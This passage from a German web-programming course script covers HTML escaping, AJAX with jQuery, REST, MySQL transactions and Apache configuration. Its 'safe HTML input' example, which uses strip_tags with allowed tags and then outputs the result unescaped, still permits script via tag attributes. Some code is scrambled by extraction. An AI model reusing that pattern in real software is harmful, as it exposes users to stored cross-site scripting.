MMT Webprogrammierung 2 Noch hat unsere Applikation dieses Problem nicht: Wenn Frau Hacker Ihren Code z.B. in das Profil einer Person eingibt wir der Code htmlescaped angezeigt und „wirkt nicht“:

64

Abbildung 29: Eingegebener HTML+Javascript-Code wird escaped und dargestellt

Sichere Eingabe von HTML
Für die Beispiel-Applikation wollen wir Zulassen, dass im Profil die HTML-Tags <p> und <b> verwendet werden können, mehr nicht. Dass es nur diese Tags und keine anderen sind wird bei der Eingabe und der Bearbeitung sicher gestellt:
$profil = strip_tags( $_POST['profil'], "<p><b>" ); $stmt = mysqli_prepare($db, "UPDATE person SET profil = ? WHERE pid=?"); mysqli_bind_param($stmt, 'si', $profil, $_POST['pid'] );

Nun können Sie auch die Ausgabe des Profils umstellen und auf das escapen verzichten:
$bildpfad $uid $vorname $nachname = = = = htmlspecialchars( htmlspecialchars( htmlspecialchars( htmlspecialchars( $person['bildpfad'] $person['uid' ] $person['vorname' ] $person['nachname'] ); ); ); );

// das Profil darf einige HTML-Tags enthalten, also nicht escapen! $profil = $person['profil' ]; echo <<<EOM <p><img src="http://multimediaart.at/media/profil/$bildpfad" style="float:right" /> $anrede $vorname $nachname hat insgesamt x Werke in dieser Datenbank. $ersie hat den Usernamen $uid.</p> <div>$profil</div> EOM;

MMT Webprogrammierung 2 Die Eingabe des HTML-Codes können Sie mit einem Javascript-Editor wie TinyMCE9 erleichtern. TinyMCE verwandelt eine normale Textarea in einen wysiwyg-Editor:

65

Abbildung 30: Normale Textarea (oben) kann mit TinyMCE in einen wysiwyg-Editor (unten) verwandelt werden

9

http://tinymce.moxiecode.com/download.php

MMT Webprogrammierung 2

66

5.

AJAX und REST

Die Kombination von Javascript und PHP gibt AJAX. Das Prinzip REST hilft uns unnötigen Einsatz von AJAX zu vermeiden.

5.1 Ziele
Was Sie alle wissen sollten
• • • Wie AJAX funktioniert. Was REST ist. Was für und gegen den Einsatz von AJAX in einem bestimmten Fall spricht.

Was Sie können sollten
• • Mit der jquery-Library eine Formularprüfung implementieren Mit der jquery-Library AJAX implementieren.

5.2 Wiederholung: Was ist AJAX
AJAX ist die englische Abkürzung für „Asynchrones Javascript und XML“. Der Begriff AJAX wurde von Jesse James Garrett zuerst verwendet10. Es steht für eine besondere Verwendung von Javascript und einer serverseitigen Programmiersprache. Ein Beispiel für die Verwendung von AJAX ist das in Abbildung 31 gezeigte Eingabefeld: schon während des Eintippens eines Suchwortes wird eine Anfrage an den Webserver geschickt. Dieser antwortet mit einer Liste von vorgeschlagenen Namen. Diese Liste wird mit Javascript (unter Verwendung der DOM) in einer <div> unterhalb des Eingabefelds angezeigt:

Abbildung 31: Vorschläge für die Eingabe werden über AJAX geladen

10

http://www.adaptivepath.com/publications/essays/archives/000385.php

MMT Webprogrammierung 2 Mit AJAX wird hier eine HTTPAnfrage gesendet. Der Unterschied zu einer „normalen“ HTTP-Anfrage: Bei einer „normalen“ HTTP-Anfrage schaltet der Browser auf „Warten“, eine neue vollständige Webseite wird geladen und angezeigt. Asynchron heisst: der Request wird abgesetzt, aber die UserIn kann weiterhin mit der Webseite interagieren. Erst wenn die Antwort des Servers vorliegt wird die normale Darstellung der Seite kurz unterbrochen und ein JavascriptProgramm fügt die Daten in die Seite ein.

67

Auf der Ebene des Programm-Codes sieht der Unterschied zwischen synchron und asynchron so aus:
// synchron Befehl1(); Befehl2(); Antwort = synchron_laden(url); Befehl3(); Befehl4();

Bevor Befehl3 ausgeführt werden kann muss erst die Antwort des Servers vorliegen – hier kann also eine Wartezeit von mehreren Sekunden entstehen.
// asynchron function handle_data(Antwort) { ... } Befehl1(); Befehl2(); asynchron_laden(url, handle_data); Befehl3(); Befehl4();

Befehl3 kann sofort ausgeführt werden, egal ob und wie schnell der Server antwortet. Wenn die Daten vom Server schließlich einlangen wird die Funktion handle_data aufgerufen und die Daten zu verarbeiten. Das kann z.B. gleichzeitig mit Befehl4 erfolgen. Das X am Ende von AJAX steht für XML – das stimmt aber nicht: die Daten vom Server können im XML-Format gesendet werden, aber genauso auch als HTML oder reiner Text oder JSON. Man könnte das X in AJAX auch als „X-beliebiges Format“ deuten. Das wichtigste Javascript-Konstrukt für AJAX ist das XMLHTTPRequestObject. Leider gibt es auch bei diesem Objekt Unterschiede zwischen den Browsern. Um diese Unannehmlichkeiten zu vermeiden, sollte man fertige Libraries verwenden, die die Browser-Unterschiede verbergen.

MMT Webprogrammierung 2

68

5.2.1

Simples AJAX Beispiel mit jQuery

Im ersten AJAX Beispiel wird der Output eines PHP-Counters in eine HTML-Seite eingebunden. Das gibt noch keine besonderen Effekte für die LeserIn, sondern macht nur den Einbau des Counters in eine bestehende Webseite einfacher.
<html> <head> <title>AJAX counter</title> <script src="jquery.js"></script> <script> $(document).ready(function(){ $("p#counter_zeile").show(); $("#counter_zahl").load("counter_ajax.php"); }); </script> <style> p#counter_zeile { display: none; } </style> </head> <body> <h1>Das ist eine statische Webseite</h1> <p>hier ist total viel Inhalt</p> <p id="counter_zeile">Counter: <span id="counter_zahl">?</span></p> </body> </html>

Die ganze Arbeit macht hier jQuery in der Zeile
$("#counter_zahl").load("counter_ajax.php");

Das Element mit der Id counter_zahl wird ausgewählt. Mit dem Load-Befehl wird eine http-Anfrage an die angegebene URL abgesetzt. Wenn der Output des PHP-Programm beim Browser ankommt, wird er in das ausgewählte Element eingefügt. Der Output sollte also reiner Text oder HTML sein.

5.2.2

Schlechte Verwendung von AJAX

Stellen Sie sich vor Sie haben eine Website mit 8 statischen HTML-Seiten, die durch einfache Links verbunden sind. Wenn man AJAX kennen lernt, kommt man vielleicht auf die Idee: statt normaler Links verwendet man nur noch load(). Was spricht dafür? o Man zeigt seine fortgeschrittenen Programmierkenntnisse (und kommt sich entsprechend cool vor) o Das Laden der einzelnen Seite geht schneller, da nur der Inhalt, nicht aber z.B. der HTML <head> geladen werden muss. Das spart dutzende Byte. Nun surfen wir durch diese Site und beobachten in Firebug welche http-Requests gemacht werden – siehe Abbildung 32: Beim Anklicken des „Links“ wird jeweils ein GET Request abgesetzt. Aber: die URL in der Adresszeile des Browsers bleibt immer gleich. Keine der „Seiten“ hat eine eigene URL. Das hat viele Auswirkungen, die wichtigsten sind vielleicht:

MMT Webprogrammierung 2 o o o Man kann keinen Link zu einer bestimmten Seite setzten – nur zur „Startseite“ Man kann kein Lesezeichen (Bookmark, Favoriten) auf eine bestimmte Seite setzen Google „sieht“ den Text der einzelnen Seite nicht

69

Vergleicht man Vor- und Nachteile sieht man schnell, dass in diesem Fall die Version ohne AJAX (ganz normale Links) besser wäre.

Abbildung 32: AJAX statt normaler Links - eine schlechte Idee

Wann ist der Einsatz von AJAX sinnvoll? Wann sollte man darauf verzichten? Um diese Frage zu beantworten brauchen wir eine Idealvorstellung wie eine Web-Site oder Web-Applikation funktionieren soll. Dieses Idealbild ist REST.

5.3 REST – Representational State Transfer
Der Begriff “REST” wurde von Roy Fielding 2000 in seiner Dissertation definiert11. Fielding hat unter anderem an der HTTP-Spezifikation und an WebDAV mitgearbeitet. In seiner Dissertation stellt er grundlegende Überlegungen zur Architektur von vernetzten Systemen an. Die Grundfrage könnte man so stellen: das Web ist ein sehr erfolgreiches vernetztes System, viele Her-

11

Dieser Teil des Skriptums enthält viele Verweise auf Literatur. Sie finden ein Quellenverzeichnis

am Ende des Kapitels

MMT Webprogrammierung 2

70

steller entwickeln dafür Software (Microsoft, Mozilla, IBM, …) und die Zusammenarbeit funktioniert. Es gibt viele Komponenten die erfolgreich zusammenspielen (Browser, Server, Proxies, Suchmaschinen, Browser-Erweiterungen, …). Welche Eigenschaften des Webs führen dazu, dass es zu diesem erfolgreichen Zusammenspiel kommen kann? REST ist – nach der Analyse von Fielding – die zugrundeliegende Architektur des Webs. Wenn man versucht, beim Bau einer Web-Applikation die Prinzipien von REST einzuhalten, dann wird diese Applikation sich besonders gut in die vorhandene Infrastruktur des Web (Server, Browser, Proxies, Caches, etc.) einpassen und davon profitieren. Wenn man REST missachtet wird die Infrastruktur nicht funktionieren – so wie im Beispiel in Kapitel 5.2.2 gezeigt. In der REST-Terminologie ist das Web ist eine Ansammlung von „Ressourcen“. In diesem Skriptum wird für Ressourcen auch der Begriff „Dokumente“ verwendet. Wir gehen hier nicht direkt von Fieldings Dissertation aus, sondern von der vereinfachten Darstellung in Tilkov(2007). 1. Gib jedem Dokument eine eindeutige URL. 2. Dokumente sollen Links auf andere Dokumente enthalten. 3. Verwende die HTTP-Methoden GET, POST, PUT, DELETE; Verwende sie ihrer Bedeutung entsprechend. 4. Ein Dokument kann auf verschiedene Arten repräsentiert werden (kann in verschiedenen Datentypen geliefert werden: HTML, XML, JSON, …). 5. Zustandslosigkeit = Statelessness. Im Folgenden finden Sie zu jedem dieser Punkte eine kurze Erklärung.

5.3.1

Jedes Dokument soll eine eindeutige URL haben

Die positiven Auswirkungen dieses Prinzip haben wir an Hand des Beispiels in Kapitel 5.2.2 schon erläutert: Wenn jedes Dokument eine URL hat, dann ist es verlinkbar, kann in Lesezeichen gespeichert werden, kann von Google gefunden und verlinkt werden, etc. Wenn Sie eine statische Webseite bauen erzeugen Sie die URLs beim Festlegen der Dateinamen. Bei einer PHP-Applikation sind es die Dateinamen und die GET-Parameter, die die URL ausmachen. In der Applikation, die wir im 3. und 4. Kapitel gebaut haben waren die URLs:
http://ich.multimediatechnology.at/mini/index.php http://ich.multimediatechnology.at/mini/personen.php http://ich.multimediatechnology.at/mini/person.php?pid=1 http://ich.multimediatechnology.at/mini/person.php?pid=2 http://ich.multimediatechnology.at/mini/person.php?pid=3

und so weiter. Das ist schon sehr nahe am REST Ideal.

MMT Webprogrammierung 2
http://ich.multimediatechnology.at/mini/ http://ich.multimediatechnology.at/mini/personen http://ich.multimediatechnology.at/mini/person/1 http://ich.multimediatechnology.at/mini/person/2 http://ich.multimediatechnology.at/mini/person/3

71

Diese Schreibweise kann man (auf einem Apache Webserver) mit Hilfe des Rewrite Moduls konfigurieren. Damit werden die URLs am Server „übersetzt“. Im Konkreten Beispiel müsste man in die Datei .htaccess im Ordner mini schreiben:
RewriteEngine On RewriteRule ^personen$ RewriteRule ^person/(.*) personen.php [L] person.php?pid=$1

[L]

Umsetzung: die Umstellung auf diese URLs hat Auswirkungen falls sie relative Links verwendet haben, um z.B. auf Stylesheets zu verweisen. Deswegen rate ich von einer nachträglichen Umstellung der URLs ab – das ist sehr viel mehr Arbeit als man denkt.

5.3.2

Dokumente sollen Links auf andere Dokument enthalten

Dieses Prinzip haben wir in allen bisher gezeigten Beispielen erfüllt. Umsetzung: dieses Prinzip müssen Ihre Web-Applikationen auf jeden Fall erfüllen.

5.3.3

HTTP-Methoden GET, POST, PUT, DELETE

Wie sollen diese Methoden verwendet werden? Jede Methode hat eine Bedeutung: GET Eine Repräsentation einer Ressource soll geholt werden. Das verändert nichts an der Ressource, diese Methode ist als harmlos. Eine Ressource soll verändert werden. Typische Verwendung wäre also ein Formular zum Bearbeiten eines Datensatzes. Diese Methode dient zum Erzeugen einer neuen Ressource. Diese Methode steht bei normalen Web-Formularen aber nicht zur Verfügung. Deswegen wird stattdessen meist ein POST auf eine übergeordnete Ressource verwendet. Statt PUT auf /person/7 also ein POST auf /personen Diese Methode dient zum Löschen einer Ressource. Auch diese Methode steht bei normalen Web-Formularen aber nicht zur Verfügung.

POST

PUT

DELETE

Umsetzung: in diesem Semester ist wichtig, dass Sie GET und POST korrekt einsetzen. Erst im Schwerpunkt-Unterricht werden wir die anderen Methoden verwenden.

MMT Webprogrammierung 2

72

5.3.4

Ein Dokument – mehrere Repräsentationen

Ein Dokument kann auf verschiedene Arten repräsentiert werden: z.B. kann die Darstellung einer Person in HTML, XML und JSON erfolgen. Die HTML-Variante kennen Sie schon:
<h1>Details zu einer Person</h1> <p><img src="http://multimediaart.at/media/profil/edvard_1_2.jpg" /> Herr Edvard Paul Beisteiner hat insgesamt 4 Werke in dieser Datenbank. Er hat den Usernamen fhs14287.</p> <ul> <li><a href='werk/24'>The Thin Red Line</a></li> <li><a href='werk/50'>Der böse Wolf</a></li> <li><a href='werk/83'>nimm zwei, schatz</a></li> <li><a href='werk/303'>the neighbour.</a></li> </ul>

Dieselbe Person könnte man auch als XML darstellen:
<person> <image ref='http://multimediaart.at/media/profil/edvard_1_2.jpg' /> <vorname>Edvard</vorname> <nachname>Beisteiner</nachname> <username>fhs14287</username> <werke> <werk ref='http://ich.multimediatechnology.at/mini/werk/24'>The Thin Red Line</werk> <werk ref='http://ich.multimediatechnology.at/mini/werk/50'>Der böse Wolf</werk> <werk ref='http://ich.multimediatechnology.at/mini/werk/83'>nimm zwei, schatz</werk> <werk ref='http://ich.multimediatechnology.at/mini/werk/303'>the neighbour.</werk> </werke> </person>

Besonders praktisch ist das, wenn ich Teile meiner Applikation später AJAXifizieren will: ich kann die schon vorhandenen Ressourcen weiter nutzen, aber einfach die XML-Repräsentation abfragen. Ob die Repräsentation als Teil der URL, als URL-Parameter oder nur als http-Header spezifiziert werden soll ist umstritten. RESTfull ist eigentlich nur die Abfrage im http-Header:
GET /mini/person/3 HTTP/1.1 Host: ich.multimediatechnology.at Accept: text/html

Bzw.
GET /mini/person/3 HTTP/1.1 Host: ich.multimediatechnology.at Accept: application/xml

Umsetzung: Diesen Aspekt von REST werden wir erst im Schwerpunkt-Unterricht umsetzen.

5.3.5

Zustandslosigkeit = Statlessness.

Zustandslosigkeit ist ein sehr wichtiges Prinzip im Web. Was das bedeutet zeigt man am einfachsten an einem Gegenbeispiel: Wenn ich im Katalog der FH-Bibliotek (http://alephino.fh-salzburg.ac.at/) nach Büchern suche (hier mit dem Suchwort „Web“) erhalte ich folgende URL:

MMT Webprogrammierung 2
http://alephino.fh-salzburg.ac.at/alipac/PUETBNRDHSZGNYLBXVFF-00020/findsimple?C1=(&V1=Web&C2=)&F1=TIT&A1=N&x=0&y=0

73

Wenn ich diese URL zwei Tage später wieder verwende erhalte ich keine Antwort mehr, sondern die Fehlermeldung:

Abbildung 33: Fehlermeldung von ALEPHINO, einer Webapplikation mit zuviel State

Warum ist das so? Auch zwei Tage später sollte die Ressource „Liste der Bücher mit dem Wort ‚Web’ im Titel“ noch vorhanden sein! Die Antwort ist: Alephino legt zu viel Wert auf den State – den Zustand der Session. Nach dem REST-Prinzip sollte man also den Zustand der Session nur dann verwenden, wenn er unbedingt notwendig ist. Z.B. könnte man denken „Liste meiner ausgeliehenen Bücher“ sei von der Session abhängig. Aber selbst hier könnte man eine fixe URL verwenden:
http://alephino.fh-salzburg.ac.at/alipac/entlehnte/fhs007

Auf diese URL muss es nun Zugriffsbeschränklungen geben: nur ich und die Bibliothekarin darf zugreifen. Alle anderen erhalten keinen Zugriff sondern den Statuscode 403 Access Denied. Die Bibliothekarin hat aber Zugriff auf alle URLs dieser Form. Umsetzung: Diesen Aspekt von REST können und sollen Sie voll umsetzten. Verwenden Sie nur die php-SESSION um den Zustand der Applikation zu speichern, und gehen Sie möglichst sparsam damit um.

5.4 jQuery – Wiederholung
Die Javascript-Library jQuery vereinfacht den Zugriff auf das DOM und die Manipulation des DOM erheblich. Dabei bleiben Javascript und HTML weitgehend getrennt: jQuery ist nur im <head> des Dokuments zu finden:

MMT Webprogrammierung 2
<html> <head> <script src="jquery.js"></script> <script> $(document).ready(function(){ $("div.nojavascript").remove(); }); </script> </head> <body> ... </body> </html>

74

Hier ein Beispiel für eine Formularprüfung. Das submit-Event des Formular-Tags wird verwendet um die Daten zu Prüfen und um das Absenden des Formulars gegebenenfalls zu verhindern (durch Rückgabe von false).
$("form").submit(function(){ var ok = true; var i; $("span.error").remove(); // Alle Fehlermeldungen entfernen i = $("input[name=uid]"); if(i.val() == '') { i.after('<span class="error">Bitte einen Usernamen eingeben</span>'); ok = false; } i = $("input[name=mail]"); if(i.val() == '') { i.after('<span class="error">Bitte eine E-Mail Adresse eingeben</span>'); ok = false; } return ok; });

Die Fehlermeldungen werden mit der Funktion after() direkt hinter dem betroffenen Eingabefeld eingefügt.

5.5 jQuery und AJAX
Die Verwendung von jQuery soll nun an zwei weiteren Beispielen gezeigt werden.

5.5.1

Clientseitige Datenprüfung mit AJAX-Nachfrage beim Server

In der Webapplikation soll bei Eingabe eines Usernamens sofort am Server nachgefragt werden ob dieser Username schon in Verwendung ist. Falls ja soll eine Fehlermeldung angezeigt werden:

Abbildung 34: Clientseitige Datenprüfung mit AJAX-Nachfrage beim Server

Als Auslöser der Prüfung wird das change-Event des Eingabefeldes verwendet:

MMT Webprogrammierung 2
$("input[name=uid]").change(function(){ ... });

75

Das Programm am Server ist sehr simpel: der Aufruf erfolgt über die URL
username_free.php?uid=hansi

Die Antwort ist plaintext: entweder 1 für wahr (Username ist frei) oder 0 für falsch (Username schon vergeben). Die Anfrage vom Client an den Server wird über die get-Funktion von jQuery gesendet. Dabei muss eine Callback-Funktion angegeben werden, die aufgerufen wird sobald die Antwort des Servers vorliegt:
$.get('username_free.php', { 'uid': 'hansi' }, handle_data);

Die Callback-Funktion hat nur ein Argument, über dieses erhält sie die gesamten Daten vom Server:
function handle_data(data) { ... }

Aus diesen Einzelteilen können Sie nun die Applikation bauen.

5.5.2

Autofill

Mit dem jQuery-Plugin hintbox12 können Sie für ein Eingabefeld Vorschläge vom Server laden. Das Programm am Server soll einen Parameter q verarbeiten und eine Liste in Plaintext ausgeben.

Abbildung 35: Mit dem jQuery-Plugin hintbox werden Vorschläge für die Eingabe über AJAX geladen

12

http://www.wiipass.com/hintbox

MMT Webprogrammierung 2

76

5.6 Quellenverzeichnis
Fielding, Roy(2000): Architectural Styles and the Design of Network-based Software Architectures. Dissertation. University of California/Irvine, USA. Fielding, Roy / Taylor, Richard(2002): Principled design of the modern Web architecture. In: ACM Transactions on Internet Technology (TOIT), Vol. 2, No. 2, May 2002. Seite 115–150. Tilkov, Stefan(2007): A Brief Introduction to REST. In: InfoQ. http://www.infoq.com/articles/restintroduction. Abgerufen am 24.7.2008.

MMT Webprogrammierung 2

77

6.

DB-Transaktionen und Apache Konfiguration

Mit Constraints und Datenbank-Transaktionen kann eine PHP-Programm auch mit komplexeren Datenbank-Strukturen umgehen. Einige Beispiele von Apache-Konfiguration werden gezeigt.

6.1 Ziele
Was Sie alle wissen sollten
• • • • Was ein Foreign Key Constraint in der Datenbank ist. Was eine Transaktion in einer Datenbank ist. Mit welchen SQL-Befehlen Sie die Transaktion starten, rückrollen oder abschließen. Welche Dateien die Apache Konfiguration enthalten.

Was Sie können sollten
• Ein PHP-Programm schreiben, dass mit mehreren Tabellen arbeitet ohne die Datenbank in einen widersprüchlichen Zustand zu bringen. • Neue Fehlermeldungen, Zugriffsschutz und URL-Rewriting in Apache konfigurieren.

MMT Webprogrammierung 2

78

6.2 Foreign Key Constraint
Die Beispiel-Applikation enthielt bisher nur eine Tabelle für Personen. Nun gibt es aber Personen die an der FH Studieren bzw. studiert haben, und andere die an der FH arbeiten. Zu den StudentInnen soll der Jahrgang gespeichert werden, zu den Angestellten der jobtitel. Dafür werden zwei neue Tabellen student und staff benötigt:
CREATE TABLE `person` ( `pid` bigint(20) NOT NULL auto_increment, `uid` varchar(8) default NULL, `vorname` varchar(40) NOT NULL default '', `nachname` varchar(50) NOT NULL default '', PRIMARY KEY (`pid`), UNIQUE KEY `uid` (`uid`), UNIQUE KEY `mail` (`mail`), ) ENGINE=InnoDB; CREATE TABLE `staff` ( `pid` bigint(20) NOT NULL default '0', `jobtitle` varchar(150) NOT NULL default '', PRIMARY KEY (`pid`), ) ENGINE=InnoDB; CREATE TABLE `student` ( `pid` bigint(20) NOT NULL default '0', `jg` varchar(7) NOT NULL default 'MMA2006', `graduated` tinyint(4) NOT NULL default '0', PRIMARY KEY (`pid`), ) ENGINE=InnoDB;

Mit diesen Tabellen ist es auch möglich die beiden Personen in der Datenbank korrekt zu speichern, die ein FH-Studium abgeschlossen haben und nun an der FH arbeiten. Zwei Constraints verhindern, dass in den Tabellen student und staff „ “ Einträge ohne entsprechenden Eintrag in person sein können:
ALTER TABLE `student` ADD CONSTRAINT `student_ibfk_1` FOREIGN KEY (`pid`) REFERENCES `person` (`pid`) ON DELETE CASCADE; ALTER TABLE `staff` ADD CONSTRAINT `staff_ibfk_1` FOREIGN KEY (`pid`) REFERENCES `person` (`pid`) ON DELETE CASCADE;

Achtung: Foreign Key Constraints (und Transaktionen) funktionieren in MySQL nur zwischen Tabellen des Typ InnoDB13. Dieser Tabellentyp steht aber nicht auf allen Server zu Verfügung. Mit SHOW STORAGE ENGINES oder mit phpMyAdmin können Sie abfragen welche Engines unterstützt werden.

13

http://dev.mysql.com/doc/refman/4.1/en/innodb-foreign-key-constraints.html

MMT Webprogrammierung 2

79

Abbildung 36: Anzeige der Storage Engines in phpMyAdmin

Welche Auswirkungen hat der Constraint? Erstens ist es unmöglich einen Eintrag in staff oder student zu machen, der sich nicht auf eine existierende Person bezieht. In folgendem Beispiel existiert

keine Person mit pid 999:
mysql> INSERT INTO student (pid, jg, graduated) VALUES (999, 'MMA1996', 1); ERROR 1452 (23000): Cannot add or update a child row: a foreign key constraint fails (`mma/student`, CONSTRAINT `student_ibfk_1` FOREIGN KEY (`pid`) REFERENCES `person` (`pid`) ON DELETE CASCADE)

Die Fehlermeldung gibt sowohl den Namen der Datenbank und die Tabelle an die das Problem enthält (mma/student) als auch den gesamten Text des Constraint. Der Nachsatz „ON DELETE CASCADE“ bezieht sich auf den Fall, dass die Person gelöscht wird. In folgendem Beispiel ist Person 101 auch student:
mysql> SELECT pid,vorname,nachname FROM person WHERE pid=100; +-----+---------+----------+ | pid | vorname | nachname | +-----+---------+----------+ | 100 | Thomas | Schrott | +-----+---------+----------+ mysql> SELECT * FROM student WHERE pid=100; +-----+---------+-----------+ | pid | jg | graduated | +-----+---------+-----------+ | 100 | MMA2003 | 0 | +-----+---------+-----------+

Wird nun die Person gelöscht, so verschwindet automatisch auch der Datensatz in student:
mysql> DELETE FROM person WHERE pid=100; Query OK, 1 row affected (0.13 sec) mysql> SELECT * FROM student WHERE pid=100; Empty set (0.00 sec)

6.3 Transaktion
Achtung: Transaktionen funktionieren in MySQL nur zwischen Tabellen des Typ InnoDB (siehe Seite 79). Wenn wir eine neue Person in der Datenbank speichern, müssen wir immer zuerst den Eintrag in
person vornehmen, den (neu entstandenen) Primary Key pid auslesen, und damit dann eventuell

Einträge in student und/oder person vornehmen.

MMT Webprogrammierung 2

80

Bei Web-Applikationen kommt es oft zur unerwarteten Unterbrechung des Programms. So könnte es z.B. passieren, dass das Programm unterbrochen wird, nachdem die person schon eingetragen ist, aber bovor die Einträge in die anderen Tabellen gemacht wurden. Damit trotzdem die Daten in der Datenbank immer konsistent bleiben, verwenden wir Transaktionen: Die Transaktion stellt sicher, dass die gewünschte Veränderung in der Datenbank entweder vollständig durchgeführt oder gar nicht durchgeführt wird — auf keinen Fall wird „bloß die Hälfte“ gemacht. Ein Beispiel: eine Person wird eingefügt, das PHP-Programm führt dazu folgende SQL-Queries aus:
START TRANSACTION; INSERT INTO person (uid, vorname, nachname, profil, isfemale, ifshow) VALUES ('test', 'testvorname', 'testnachname', 'habe wenig profil', 0, 1); SELECT pid FROM person where UID='test'; -- Ergebnis: 912 INSERT INTO student (pid,jg,graduated) VALUES (912, 'MMA1996', 1);

An dieser Stelle bricht die Verbindung zur Datenbank ab. Der Datenbankserver führt deswegen einen automatischen ROLLBACK durch. Danach gibt es von der eben angelegten Person keine Spur mehr in der Datenbank:
SELECT pid,vorname,nachname FROM person WHERE pid=912; -- Ergebnis: Empty set

So sieht der Vorgang aus wenn alles gut geht: nach drei INSERTs kommt ein COMMIT:
START TRANSACTION; INSERT INTO person (uid, vorname, nachname, profil, isfemale, ifshow) VALUES ('test', 'testvorname', 'testnachname', 'habe wenig profil', 0, 2); SELECT pid FROM person where UID='test'; -- Ergebnis: 913 INSERT INTO student (pid, jg, graduated) VALUES (913, 'MMA1996', 1); INSERT INTO staff (pid,jobtitle) VALUES (913, 'Testobjekt'); COMMIT;

Mit dem COMMIT wird die Transaktion abgeschlossen, erst dann werden alle Änderungen an der Datenbank wirklich durchgeführt. Die mysqli – Datenank-Schnittstelle enthält eigene Befehle für start, rollback und commit der Transaktion. Statt START TRANSACTION heisst es hier autocommit false:
mysqli_autocommit($db, FALSE);

Ein Absichtliches Rollback braucht man in der Fehlerbehandlung:

MMT Webprogrammierung 2
$stmt = mysqli_prepare($db, "INSERT INTO person ..."); mysqli_bind_param($stmt, ... ); if ( ! mysqli_stmt_execute($stmt) ) { echo("Fehler beim Speichern in der Datenbank: "); echo(mysqli_error($db)); mysqli_rollback($db); exit; }

81

Nur wenn alle drei INSERTs gut gegangen sind wird die Transaktion abgeschlossen:
mysqli_commit($db);

6.4 Andere DB-Schnittstellen
Wie anfangs erwähnt ist die MySQL-Schnittstelle „mysqli“ nur eine von vielen Datenbank Schnittstellen. Die primitivste Schnittstelle wäre „mysql“ (ohne i wie improved). Abschließend noch ein kurzer Ausblick auf andere Schnittstellen: MDB2, ADODB und Zend Framework. MDB214 aus dem "PHP Extension and Application Repository" (PEAR) ist datenbank-unabhängig und unterstützt derzeit 8 verschiedene Datenbanken, darunter MySQL, Postgres und Oracle. MDB2 unterstützt ebenfalls Prepared Statements:
$types = array('integer', 'text', 'text'); $sth = $mdb2->prepare('INSERT INTO numbers VALUES (?,?,?)', $types, MDB2_PREPARE_MANIP); $affectedRows = $sth->execute( array(1, 'eins', 'die erste Zahl') ); $affectedRows = $sth->execute( array(2, 'zwei', 'noch eine Zahl') );

ADODb orientiert sich an Microsofts ActiveX Data Objects (ADO). Ein aktuelles Tutorial finden Sie im phpmagazin15. Im Zend Framework gibt es die Komponente Zend_Db16. Dieser Komponente erlaubt den „Zusammenbau“ von SQL-Statements über Methoden:

14

http://pear.php.net/manual/en/package.database.mdb2.php http://phpmagazin.de/itr/online_artikel/psecom,id,529,nodeid,62,_language,de.html http://framework.zend.com/manual/en/zend.db.html

15

16

MMT Webprogrammierung 2
$minimumPrice = 100; $maximumPrice = 500; $select = $db->select() ->from('products', array('product_id', 'product_name', 'price')) ->where('price < ?', $minimumPrice) ->orWhere('price > ?', $maximumPrice) ->order('product_name');

82

Das Statement kann auch im Nachhinein noch verändert werden:
$select->reset( Zend_Db_Select::ORDER ); $select->order('product_id');

Das Zend Framework bietet auch eine Komponente17 die ein Mapping von DB-Tabelle auf PHP-Klasse ermöglicht (Table Data Gateway Design Pattern und Row Data Gateway Design Pattern).
class Person extends Zend_Db_Table_Abstract { protected $_name = 'person'; // Tabelle in der DB protected $_primary = 'pid'; // Primary key protected $_sequence = true; // --||-ist auto_increment }

Diese Klasse entspricht der Tabelle person in der Datenbank, jedes Objekt der Klasse entspricht einem Datensatz in der Tabelle. Wenn man diese Klassen in PHP verwendet werden die entsprechenden Operationen in der Datenbank durchgeführt:
$table = new Person(); $data = array( 'created_on' => new Zend_Db_Expr('CURDATE()'), 'vorname' => 'Brigitte', 'nachname' => 'Jellinek' ); $table->insert($data); $where = $table->getAdapter()->quoteInto('vorname = ?', 'Brigitte'); $table->delete($where);

Leider ist keine dieser moderneren Datenbank-Schnittstellen im Standard Lieferumfang von PHP enthalten. Für kleine Projekte oder in altem Code findet man deswegen sehr oft die einfache, MySQL-spezifische Schnittstelle. Beim Start eines neuen oder größeren Projektes sollten Sie aber die moderneren Lösungen in Betracht ziehen.

17

http://framework.zend.com/manual/en/zend.db.table.html

MMT Webprogrammierung 2

83

6.5 Konfiguration von Apache
Der Webserver Apache wird über eine zentrale Datei konfiguriert, sie trägt den Namen httpd.conf. Bei Verwendung von XAMPP auf Windows findet man diese Datei z.B. im Ordner
C:\xampp\apache\conf.

Weitere interessante Dateien und Ordner:
C:\xampp\apache\logs enthält die Log-Dateien. C:\xampp\htdocs ist der Webspace, ist also als http://localhost/ sichtbar.

Die Datei httpd.conf ist sehr lang, und enthält viele Kommentare:
# ServerRoot: The top of the directory tree under which the server's # configuration, error, and log files are kept. # Do not add a slash at the end of the directory path. ServerRoot "/xampp/apache" # Listen: Allows you to bind Apache to specific IP addresses and/or # ports, instead of the default. See also the <VirtualHost> # directive. Listen 80 # DocumentRoot: The directory out of which you will serve your # documents. By default, all requests are taken from this directory, but # symbolic links and aliases may be used to point to other locations. DocumentRoot "/xampp/htdocs

Es gibt hunderte von verschiedenen Konfigurations-Anweisungen für Apache, glücklicherweise muss man nur wenige davon kennen und verstehen um mit Apache erfolgreich arbeiten zu können.

6.5.1

Konfigurations-Änderung wirksam machen

Wenn man die Konfiguration von Apache verändert braucht es drei Schritte um die Auswirkungen wirklich zu sehen: 1. Konfigurationsdatei httpd.conf ändern und speichern 2. Apache neu starten 3. Im Webbrowser die entsprechende Seite neu laden Wenn man die Haupt-Konfigurationsdatei von Apache nicht ändern kann gibt es eine Alternative: Man kann eine Datei namens .htaccess in den Webspace hoch laden, diese Datei kann einige der Konfigurations-Anweisungen für den Apache Webserver enthalten. Achtung: ob die .htaccess Datei wirksam ist oder nicht wird in httpd.conf festgelegt. Als „Mieter“ kann man die .htaccess Datei nicht selbst aktivieren falls sie nicht funktionieren.

MMT Webprogrammierung 2

84

6.5.2

Fehlermeldung

Die Fehlermeldungen des Webservers können an das Design der Webseite angepasst werden. Die häufigste Fehlermeldung ist der Fehler 404 – Dokument nicht gefunden. (Die Zahl 404 ist dabei der Status-Code des HTTP-Protokolls.) Die Standard-Fehlermeldung des Apache Webservers ist neutral gestaltet. Um Sie durch eine selbst gestaltete Fehlermeldung zu ersetzen erstellen Sie zuerst eine ganz normale HTML-Seite, mit CSS, Bildern, … etc. Diese Webseite wird im Webspace gespeichert, z.B. unter der URL /myerror/404.html. Mit der Konfigurations-Anweisung
ErrorDocument 404 /myerror/404.html

wird die Fehlermeldung aktiviert. (nicht vergessen: Apache neu starten.)

